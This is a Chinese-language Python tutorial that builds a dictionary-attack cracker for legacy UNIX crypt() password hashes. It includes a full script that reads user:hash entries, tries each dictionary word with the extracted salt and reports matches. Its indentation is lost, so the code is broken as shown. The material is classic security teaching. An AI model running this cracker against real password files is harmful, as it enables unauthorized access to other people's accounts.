Python编程–UNIX口令破解机
Python语言的真正优势在于其拥有大量的标准库和第三方库。编写UNIX口令破解机时，需要使用UNIX计算口令hash的crypt()算法。启动Python解释器，看到Python标准库中自己带有crypt库，要计算一个加密的UNIX口令hash，只需要调用函数crypt.crypt()，并将口令喝salt作为参数传递给它。该函数会以字符串形式返回口令的hash。
让我们尝试使用crypt()函数快速计算口令的hash。将库导入之后，将口令“egg”与salt“HX”传递给函数。该函数返回口令的hash–字符串为“HX9LLTdc/jiDE”。成功！
import crypt
crypt.crypt('egg', 'HX')
'HX9LLTdc/jiDE'
现在编写一个程序遍历整个字典，将每一个单词加上指定的salt的计算结果都与加密的口令hash做比较。编写程序的时候，首先创建两个函数：main和testpass。根据各自特定的作用，将程序分隔成相互独立的函数。main函数打开加密口令文件“password.txt”，并逐行读取口令文件中的内容。每一行中的用户和口令hash都是分隔开的。对每个口令hash，main函数都调用testPass()函数，尝试用字典中的单词破解它。
testPass()函数参数时加密口令hash，该hash的前两个字符视为salt，并提取出来，然后打开字典并便利字典中的每个单词，用每个单词和salt计算一个新的加密口令hash。如果计算结果与我们加密口令hash匹配，函数会打印一条消息显示找到密码，并返回。否则，它会在词库中继续对每个单词进行测试。源码如下：
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictFile = open('./dictionary.txt', 'r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word, salt)
if cryptWord == cryptPass:
print("[+] Found Password: " + word +"\n")
return
print("[-] Password Not Found.\n")
return
def main():
passFile = open('./passwords.txt')
for line in passFile.readlines():
if ":" in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print("[*] Cracking Password For: " + user)
testPass(cryptPass)
if __name__ == '__main__':
main()
运行这个程序之后，可以看到成功破解了用户victim的口令，如下图所示：
